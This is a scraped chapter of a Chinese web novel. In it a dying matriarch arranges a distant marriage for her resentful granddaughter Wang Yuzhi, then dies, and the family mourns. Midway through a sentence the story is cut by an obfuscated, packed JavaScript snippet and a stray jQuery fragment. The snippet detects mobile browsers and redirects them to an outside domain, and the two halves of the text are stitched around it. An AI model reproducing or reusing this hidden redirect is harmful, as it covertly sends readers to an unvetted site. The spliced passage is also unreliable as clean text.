26. 第 26 章

作品:《渣了夫君好友后

    王毓芝与王老夫人关系浅薄,自王琬出嫁后也没有让她顶上王琬的缺照顾老太太,因此贸然收到传话,主仆两人走在路上时都有些忐忑。


    王太傅是国之肱骨,不好为了私事成天地不上朝,做大孝子也得有个度,因此在几日前就向皇帝销了假。


    连亲儿子都走了,突然叫个八百年没请过安的庶女去做什么?


    王毓芝和春夏对上一眼,赶忙加快脚步。


    说来也是神奇,王老夫人近段时间病情好转,不知是冲喜当真起作用,还是本就没有病得那么严重,总之与刚病倒时相比,判若两人,天气好时还可以由丫鬟搀着下床走两步,因而王毓芝没有往那方面想,只当老太太有事吩咐她。


    府里就她和王琬两个小辈是女子,或许是有什么事不方便,才想到她。


    谁知她刚踏入房门,就听到隐隐约约的啜泣声,听声音像是老太太的陪嫁丫鬟周嬷嬷。


    王毓芝暗道一声不好,两条腿疯狂倒腾着往内室赶,绕过白云仙鹤屏风,映入眼帘的是床榻上瘦骨嶙峋的老人,抹额歪斜,形如枯槁,怎么看都是大限将至。


    地上跪了七八个丫鬟婆子,都是红肿着双眼,想哭不敢哭的样子,连稳重老成的周嬷嬷都忍不住暗暗流泪。


    尽管王毓芝对老太太没什么祖孙情谊,好歹在同一屋檐下生活了十几年,一点触动都没有是不可能的,况且现在的情形,就算装也要装出点样子,她掐了掐掌心,立马扑到塌边,含着哭声道:“祖母,芝儿来晚了……”


    塌上的人干咳一声,声音似锯子在木头上来回拉扯,沙哑而低沉:“我还没死,倒不算晚。”


    “太太……您别这么说。”周嬷嬷埋怨地看了王毓芝一眼。


    王毓芝被她看得身子抖了抖,那种被人看穿的感觉又来了。她从小就害怕周嬷嬷,因为她有双狠辣的眼,好像能够看透人内心深处的念头,总是让她生出无穷的恐惧,好像她努力的一切都是无谓的挣扎。


    “韵芳,这些年你辛苦了。”老太太拍了拍周嬷嬷的手,“我的身子我自己清楚,能拖到琬儿成婚已是大幸,不敢再奢望更多。我这一生,耽于后宅,从未为自己而活,临了还放心不下子孙,果然是一辈子操劳的命。”


    周嬷嬷反手回握住她,指尖却在发颤:“三个爷是顶顶的孝顺,几个郎君长大成材,娘子也嫁的如意郎君。全府上下就没一个长歪的,都是太太管教有方,为他们树立了典范。没有您,就没有如今的王家。”


    “你说的不错,但有没有长歪尚不能下定数,还得看将来如何。”老太太浑浊的双眼有一瞬间的清明,眸光如箭,猛然射向王毓芝,“你说呢,芝丫头。”


    王毓芝眸底闪过一抹微不可查的嘲讽,提到府里的娘子,两人竟然直接忽略了她,末了还要阴阳她几句,还真是一如既往的刻薄。然而表面上,她愈发恭顺道:“祖母说得有理,芝儿受教了。”


    老太太强撑着病体坐起身,周嬷嬷见机塞了个靠垫在她腰下,这架势便是要说正事了。


    “今儿个叫你来,是为了聊一聊你的婚事。趁着老身还没撒手,这几日替你定下罢。”


    老太太这句话宛如当头一棒,打得王毓芝头晕眼黑,心里用各种恶毒不敬的话把她骂了一通。


    老不死的漠视了她十几年,死到临头想起她来了,必然没打什么好主意。她是铁了心要嫁给宋砚雪的,其他郎君再英俊有才都不考虑,但又忍不住好奇,老太太会给她找个什么样的亲事。


    王毓芝也顾不得矜持,忙问道:“祖母心中已有人选了?”


    周嬷嬷露出果然如此的表情,语含鄙夷道:“太太挑的亲事必然是上上乘,二娘子急什么。”


    “无妨。”老太太摆摆手,“毕竟是远嫁,早点知道也有时间准备。”


    听到这,王毓芝心凉了一半。京城之外的地方唯有江南一带较为富庶,她可不会觉得老太太会替她择一富商为婿。王家历代官身,再不喜欢她也不会打了王家的脸面。


    王老太太接着道:“我娘家三房有一子,名为赫章,年至弱冠,心性热忱,脾气通直。十四岁起便跟随他大兄在军营历练,去年立了军功,升任千总。小小年纪,难得有颗忠君报国的心,比京里的膏粱子弟好上太多,日后必然大有所为,堪为良配。芝丫头,你意下如何?”


    王毓芝听到“娘家”二字另一半心也跟着凉透了。


    老太太父亲是赫赫有名的大将军,当初嫁入王家算是下嫁。老太太多么刚强的人,嫁过来后却郁郁寡欢过一阵子。因为周家人驻守边疆,所在的远州距离京都上万里,两地民俗不同,食宿相差巨大,气候截然不同。


    据府里上年纪的嬷嬷说,老太太刚嫁来时脸上干得能起皮,肤色黑似木碳,在京都养了好几年才养出点红润。


    王毓芝不敢想象自己鲜花一样的颜色,嫁到那贫瘠荒蛮的地方会被摧残成什么样。


    关键那周赫章十四岁就出去了,定然没上过几年学,多半是个胸无点墨的武夫,在军营混了几年才得个千总,哪里比得上卫嘉彦日后继承武安侯的十万大军?


    她越想越气,气到血液倒流,指尖发抖。


    周家自大将军逝世后就没落了,连京里三等氏族都比不上,都是老太太的孙女,凭什么王琬嫁入侯府,她只能远嫁他乡?


    近来边地战势频发,万一那周赫章死了,她岂不是要守活寡!


    老太太想方设法赶走她,就这么怕她对王琬不利吗?


    那她偏要对付王琬,否则不就辜负老太太一番心思了!


    女子婚事由长辈做主,父亲最听祖母的话,还不是死老太婆说什么就是什么。王毓芝气到发抖,连掩饰都不愿了,蹲身行了个礼,扔下一句“但凭祖母安排”就摔门而出。


    “真是越来越不像样了!居然敢给太太使脾气。”周嬷嬷愤愤不平道,“亏太太还给她选了门好亲事,远州多少娘子想嫁给周小郎,若不是太太仁慈,哪里轮得上她?太太,您到底怎么想的,把她嫁到周家,真是便宜她了。”


    王老太太叹气:“芝丫头性邪善妒,从小时候起便处处与琬丫头较劲。其实嫡庶之分不过是虚设,咱们家对待子弟从来都是一视同仁,是她自个儿对身份有偏见。琬丫头嫁的人家太过显赫,我怕芝丫头想不开,做出什么错事。周家与侯府相隔万里,嫁给赫章,好歹能有周家人看着她,再怎么折腾也翻不出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786522|173378||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大浪。若她安分守己,歇了那些心思,三房都是良善识大体的人,她嫁过去享福就是。”


    说完这段话,王老太太长长地喘了口气,丫鬟立刻端来人参汤,一勺一勺喂到她口中。


    “太太用心良苦,只是她未必接受您的安排。”周嬷嬷红着眼凑近老太太耳边,低语道,“她前几日私自出府一事下面人查清楚了,原来是为了见宋家那个庶子,宋砚雪。”


    老太太眼珠转了转,诧异道:“宋砚雪?她眼光倒不低。宋家尚未分家时,我曾见过此子一面,说一句人中龙凤不为过,可惜生在了宋家……我王家的人,绝不能和这样的人家有任何牵扯。这几日你把芝丫头看紧点,周家的人已经在来的路上,最快明日就会抵达,婚事定下前万不可节外生枝。”


    室内响起粗重的咳嗽声,宛若一只垂死的老鹅,周嬷嬷痛心疾首地替王老太太顺气,重声道:“是,奴婢知晓。”


    周家人是在第二日的傍晚到达王家,一下车就被小厮请进府,王太傅急得左右踱步,听到下人通报,立刻命人将准备好的庚帖带上,风风火火地去接人。


    两边人早在信件中就聊好细节,只待走个形式,婚事便可以定下。双方都知晓老太太时日无多,谁也不敢耽搁,刚交换庚帖,就火急火燎朝内院赶。


    王太傅步入房中时,王老太太寿数已尽,整个人陷入昏迷,唯有手死死捏住被角,像是有什么未尽之事,留一口气吊着。


    周嬷嬷随侍身旁,双眼红肿似核桃,听见脚步声,立刻跪下来,泣不成声道:“大爷,您终于来了,太太她……”


    王太傅心脏揪紧,扑通一声跪到床边,带着哭腔道:“娘……儿回来了,芝丫头的事办妥了,您放心。”


    话音刚落,被褥上的手滑落,内室响起冲天的哭号。


    当夜,王家举丧。


    卫嘉彦陪王琬回娘家吊唁,王琬在路上就哭晕过去,被卫嘉彦抱进府里,夜半起了高热,至翌日中午才睁开眼皮。


    “祖母走了……”王琬望着天花板,声音沙哑,“世上再也没人疼我了。”


    卫嘉彦看着床上人面如死灰的样子,不忍道:“王琬,你还有我。我们是行了天地礼的夫妻,生同衾死同穴,这辈子我都会敬你重你。”


    “谁也比不上祖母……”王琬目光缓缓转向他,“卫嘉彦,我身上好痛起不来,扶我去灵堂,祖母还在等我。”


    “好。”卫嘉彦搂住她往外走。


    在王家吊唁期间,王琬的病一直没好,卫嘉彦亲自照顾她,极尽体贴,对她无有不应。


    王琬除了来的路上哭过,几天里一滴眼泪也没掉,整个人安静得有些异常,话也不曾说过几句,饭菜一日比一日用得少,卫嘉彦总觉得她在压抑着什么,心中惴惴不安。


    及至出殡那日,漫天白纸飘下,卫嘉彦感受到肩膀上的湿润,绷紧的心弦才放松,默默拥住王琬,任她将心中的悲伤发泄出来。


    离开王府那日,王琬忽然主动告诉他,她想带王毓芝回侯府陪她住几日,卫嘉彦盯着她消瘦的脸颊,没有反对,当即应下了。


    通往武安侯府的马车里,王毓芝悠闲地靠在软枕上,前所未有地放松。